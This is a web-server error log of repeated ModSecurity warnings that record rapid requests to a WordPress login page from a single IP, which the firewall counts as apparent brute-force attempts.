[Sun Mar 01 23:46:14.998525 2026] [:error] [pid 7165:tid 7178] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfRhRjCrA8qWBjgG_KFQAAAks"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:17.749363 2026] [:error] [pid 7165:tid 7183] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfSRRjCrA8qWBjgG_KLgAAAlA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:19.559994 2026] [:error] [pid 7165:tid 7170] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfSxRjCrA8qWBjgG_KNAAAAkM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:22.224840 2026] [:error] [pid 7165:tid 7168] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfThRjCrA8qWBjgG_KQAAAAkE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:24.215181 2026] [:error] [pid 7165:tid 7181] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfUBRjCrA8qWBjgG_KRQAAAk4"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:26.912916 2026] [:error] [pid 7165:tid 7169] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfUhRjCrA8qWBjgG_KYgAAAkI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:28.732735 2026] [:error] [pid 7165:tid 7172] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfVBRjCrA8qWBjgG_KagAAAkU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:31.525775 2026] [:error] [pid 7165:tid 7168] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfVxRjCrA8qWBjgG_KcAAAAkE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:33.527897 2026] [:error] [pid 7165:tid 7185] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfWRRjCrA8qWBjgG_KfQAAAlI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:36.331478 2026] [:error] [pid 7165:tid 7178] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfXBRjCrA8qWBjgG_KgAAAAks"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:38.187861 2026] [:error] [pid 7165:tid 7176] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfXhRjCrA8qWBjgG_KggAAAkk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:40.923806 2026] [:error] [pid 7165:tid 7191] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfYBRjCrA8qWBjgG_KhwAAAlg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:42.903505 2026] [:error] [pid 7165:tid 7175] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfYhRjCrA8qWBjgG_KjwAAAkg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:45.742863 2026] [:error] [pid 7165:tid 7178] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfZRRjCrA8qWBjgG_KlAAAAks"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:47.560117 2026] [:error] [pid 7165:tid 7191] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfZxRjCrA8qWBjgG_KngAAAlg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:50.322529 2026] [:error] [pid 7165:tid 7188] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfahRjCrA8qWBjgG_KsgAAAlU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:52.418349 2026] [:error] [pid 7165:tid 7168] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfbBRjCrA8qWBjgG_KuAAAAkE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:55.104761 2026] [:error] [pid 7165:tid 7185] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfbxRjCrA8qWBjgG_KzAAAAlI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:57.168180 2026] [:error] [pid 7165:tid 7173] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfcRRjCrA8qWBjgG_K0QAAAkY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:59.904281 2026] [:error] [pid 7165:tid 7171] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfcxRjCrA8qWBjgG_K2wAAAkQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:01.856228 2026] [:error] [pid 7165:tid 7178] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfdRRjCrA8qWBjgG_K4AAAAks"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:04.699053 2026] [:error] [pid 7165:tid 7176] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfeBRjCrA8qWBjgG_K7QAAAkk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:06.701809 2026] [:error] [pid 7165:tid 7173] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfehRjCrA8qWBjgG_K-AAAAkY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:09.570773 2026] [:error] [pid 7165:tid 7172] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRffRRjCrA8qWBjgG_LCwAAAkU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:11.345735 2026] [:error] [pid 7165:tid 7167] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRffxRjCrA8qWBjgG_LHQAAAkA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:14.123606 2026] [:error] [pid 7165:tid 7168] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfghRjCrA8qWBjgG_LOAAAAkE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:16.081556 2026] [:error] [pid 7165:tid 7168] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfhBRjCrA8qWBjgG_LPQAAAkE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:19.037040 2026] [:error] [pid 7165:tid 7177] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfhxRjCrA8qWBjgG_LTAAAAko"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:20.857034 2026] [:error] [pid 7165:tid 7174] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfiBRjCrA8qWBjgG_LYAAAAkc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:23.517820 2026] [:error] [pid 7165:tid 7171] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfixRjCrA8qWBjgG_LZwAAAkQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:25.714781 2026] [:error] [pid 7165:tid 7177] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfjRRjCrA8qWBjgG_LbQAAAko"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:28.518388 2026] [:error] [pid 7165:tid 7174] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfkBRjCrA8qWBjgG_LeAAAAkc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:30.457049 2026] [:error] [pid 7165:tid 7168] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfkhRjCrA8qWBjgG_LfQAAAkE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:33.265508 2026] [:error] [pid 7165:tid 7186] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRflRRjCrA8qWBjgG_LjgAAAlM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:36.315446 2026] [:error] [pid 40750:tid 40776] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfmAfBuk03yQKDyquqmwAAAdc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:39.047283 2026] [:error] [pid 40750:tid 40768] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfmwfBuk03yQKDyquqpAAAAc8"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:41.232288 2026] [:error] [pid 40750:tid 40773] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfnQfBuk03yQKDyquqrAAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:43.984131 2026] [:error] [pid 40750:tid 40772] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfnwfBuk03yQKDyquqswAAAdM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:46.244900 2026] [:error] [pid 40750:tid 40757] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfogfBuk03yQKDyququgAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:48.891342 2026] [:error] [pid 40750:tid 40760] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfpAfBuk03yQKDyquqwQAAAcc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:50.869533 2026] [:error] [pid 40750:tid 40770] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfpgfBuk03yQKDyquqxgAAAdE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:53.662243 2026] [:error] [pid 40750:tid 40771] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfqQfBuk03yQKDyquqzwAAAdI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:55.360341 2026] [:error] [pid 40750:tid 40764] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfqwfBuk03yQKDyquq0AAAAcs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:47:58.099614 2026] [:error] [pid 40750:tid 40777] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfrgfBuk03yQKDyquq2QAAAdg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:00.044743 2026] [:error] [pid 40750:tid 40756] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfsAfBuk03yQKDyquq3QAAAcM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:02.912551 2026] [:error] [pid 40750:tid 40774] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfsgfBuk03yQKDyquq6AAAAdU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:05.090619 2026] [:error] [pid 40750:tid 40775] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRftQfBuk03yQKDyquq8QAAAdY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:07.877472 2026] [:error] [pid 40750:tid 40765] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRftwfBuk03yQKDyqurBgAAAcw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:09.932343 2026] [:error] [pid 40750:tid 40760] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfuQfBuk03yQKDyqurEgAAAcc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:12.656130 2026] [:error] [pid 40750:tid 40759] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfvAfBuk03yQKDyqurJwAAAcY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:14.370105 2026] [:error] [pid 40750:tid 40777] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfvgfBuk03yQKDyqurMQAAAdg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:17.084855 2026] [:error] [pid 40750:tid 40753] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfwQfBuk03yQKDyqurQAAAAcA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:18.946749 2026] [:error] [pid 40750:tid 40775] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfwgfBuk03yQKDyqurWQAAAdY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:21.738094 2026] [:error] [pid 40750:tid 40773] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfxQfBuk03yQKDyqurgwAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:23.571669 2026] [:error] [pid 40750:tid 40774] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfxwfBuk03yQKDyqurkAAAAdU"], referer: https://gigfragments.org/wp-login.php
